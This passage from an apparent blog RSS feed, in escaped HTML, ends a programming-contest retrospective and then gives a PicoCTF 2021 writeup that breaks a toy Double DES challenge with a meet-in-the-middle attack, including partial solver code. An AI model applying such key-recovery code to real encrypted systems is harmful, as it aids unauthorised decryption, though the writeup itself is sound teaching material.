&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">C&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">out&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">C&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">out&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">A&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">out&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">out&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>The absolute minimum — a standard of competitive programmers.&lt;/em>&lt;/p>
&lt;p>All three of these students, alongside nearly twenty (20) others have been disqualified: a similar amount of cheaters to last year so nothing too surprising.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Overall, just like last year, I really enjoyed running this contest and setting up some of the infrastructure and systems behind it. While it definitely didn&amp;rsquo;t run perfectly, I think we did pretty well and provided a good experience to competitors. Unfortunately, apart from the nginx (and other service) logs, we didn&amp;rsquo;t really collect any kind of system metrics for future analysis. I was planning to setup Prometheus but couldn&amp;rsquo;t do it in time. Next time, I&amp;rsquo;ll definitely make it a priority so we can get some better insight into any kinds of bottlenecks and so I can write a much more detailed writeup!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>If you&amp;rsquo;d like to read more on this topic and the solution that DMOJ settled with, see their wonderful &lt;a href="https://dmoj.ca/post/179-new-judges-and-new-runtimes">blog post&lt;/a>.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>If you&amp;rsquo;re interested in the scoring/ranking format used, see &lt;a href="rules.pdf#subsection.2.9">the Rules&lt;/a>.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>From a quick &lt;code>grep&lt;/code> of nginx logs — may not be accurate.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>First implemented in &lt;a href="https://github.com/DMOJ/online-judge/pull/913">#913&lt;/a> with better integration in &lt;a href="https://github.com/DMOJ/online-judge/pull/1118">#1118&lt;/a>.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>A Different MITM - PicoCTF 2021 Double DES Writeup</title><link>https://fluix.one/blog/picoctf-2021-ddes/</link><pubDate>Wed, 07 Apr 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/picoctf-2021-ddes/</guid><description>&lt;p>&lt;em>Note: This post was originally going to go up on the 30th of March but PicoCTF requested writeups to be held on to until winners were verified.&lt;/em>&lt;/p>
&lt;p>As stated in my &lt;a href="https://fluix.one/blog/status-update-2021-03/">last post&lt;/a>, a group of friends and I participated in the 2021 &lt;a href="https://picoctf.org/">PicoCTF&lt;/a> challenge. Having just come to an end, this year&amp;rsquo;s contest was certainly the most enjoyable one for me because of the truly &lt;strong>awesome&lt;/strong> people I got to work with, leading us to a second place finish in Canada (7th globally). One of the most interesting, though not particularly challenging, cryptography problems I came across and solved was titled &amp;ldquo;Double DES.&amp;rdquo; It began with this description and hint:&lt;/p>
&lt;blockquote>
&lt;p>I wanted an encryption service that&amp;rsquo;s more secure than regular DES, but not as slow as 3DES&amp;hellip; The flag is not in standard format.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: How large is the keyspace?&lt;/p>
&lt;/blockquote>
&lt;p>It contained the following Python code (modified to be shorter) which was also running on a remote server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/python3 -u&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">DES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">binascii&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">itertools&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">random&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">string&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">block_len&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">over&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">block_len&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pad&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">block_len&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">over&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; &amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">generate_key&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">choice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digits&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;flag&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rstrip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">KEY1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">generate_key&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">KEY2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">generate_key&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_input&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">binascii&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">unhexlify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;What data would you like to encrypt? &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rstrip&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">double_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">KEY1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">enc_msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cipher1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">KEY2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">binascii&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hexlify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cipher2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc_msg&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Here is the flag:&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">double_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">double_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">get_input&lt;/span>&lt;span class="p">()))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid input.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A quick look at the code makes it clear that two random keys made up of 6 digits each are generated and then used to encrypt the flag with &lt;a href="https://en.wikipedia.org/wiki/Data_Encryption_Standard">DES&lt;/a> which is provided to the user. From there, the user can input any plaintext and get the ciphertext using the same keys. This last part is important because it means the challenge is open to &amp;ldquo;&lt;a href="https://en.wikipedia.org/wiki/Known-plaintext_attack">known-plaintext attacks&lt;/a>.&amp;rdquo;&lt;/p>
&lt;p>A naive examination of the encryption would suggest that one could bruteforce the correct key out of the 10&lt;sup>12&lt;/sup> possible made up from every possible first key (10&lt;sup>6&lt;/sup>) for every possible second key (10&lt;sup>6&lt;/sup>). However, while certainly possible to do in the timespan of the competition, there exists a significantly better attack called &lt;a href="https://en.wikipedia.org/wiki/Meet-in-the-middle_attack">Meet-in-the-Middle (MITM)&lt;/a>. To perform such an attack, we first choose a known plaintext, say &amp;ldquo;0123456789012345678&amp;rdquo;, and encrypt it with every possible first key:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">single_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">cipher1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># The &amp;#39;singles&amp;#39; file is a good save point since this first&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># generation step can take a bit.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;singles&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000000&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">single_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">zfill&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="n">binascii&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">unhexlify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;0123456701234567&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, we can connect to the remote and receive the flag ciphertext (&lt;code>PASS&lt;/code>) and our known plaintext ciphertext (&lt;code>GIVEN&lt;/code>):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">PASS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x00\xbb\x8e\x0a\x5f\x56\x63\x21\xd3\x0f\xe2\x2f\xbc\xdd\xe0\x2d\x96\x71\x44\x82\x35\x72\x65\x67\xe2\x0a\x16\x2f\x25\x81\x24\x40\x13\x0f\x14\x8b\x12\x91\x01\x5a&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">GIVEN&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\xe0\xdd\xb8\x90\x74\xc3\x64\x8a\x13\x0f\x14\x8b\x12\x91\x01\x5a&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, we can take the &lt;code>GIVEN&lt;/code> ciphertext and decrypt it with every possible second key and check if it matches any of our single encrypted plaintexts. If it does, we&amp;rsquo;ve just found the correct first and second keys which we can use to decrypt the encrypted flag; wrap it with &lt;code>picoCTF{}&lt;/code> and submit! So there you have it, an attack that only takes 2 × 10&lt;sup>6&lt;/sup> (2N) tries instead of the naive 10&lt;sup>12&lt;/sup> (N&lt;sup>2&lt;/sup>) attack and a reason not use Double DES.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Full source code for my solution is provided below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/python3 -u&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">DES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">binascii&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">block_len&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">over&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">block_len&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pad&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">block_len&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">over&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; &amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">single_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">cipher1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">single_decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">enc_msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">cipher1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc_msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Generates single encrypted versions of known plaintext&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># The &amp;#39;singles&amp;#39; file is a good save point since this first&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># generation step takes a bit.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;singles&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000000&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">10000&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
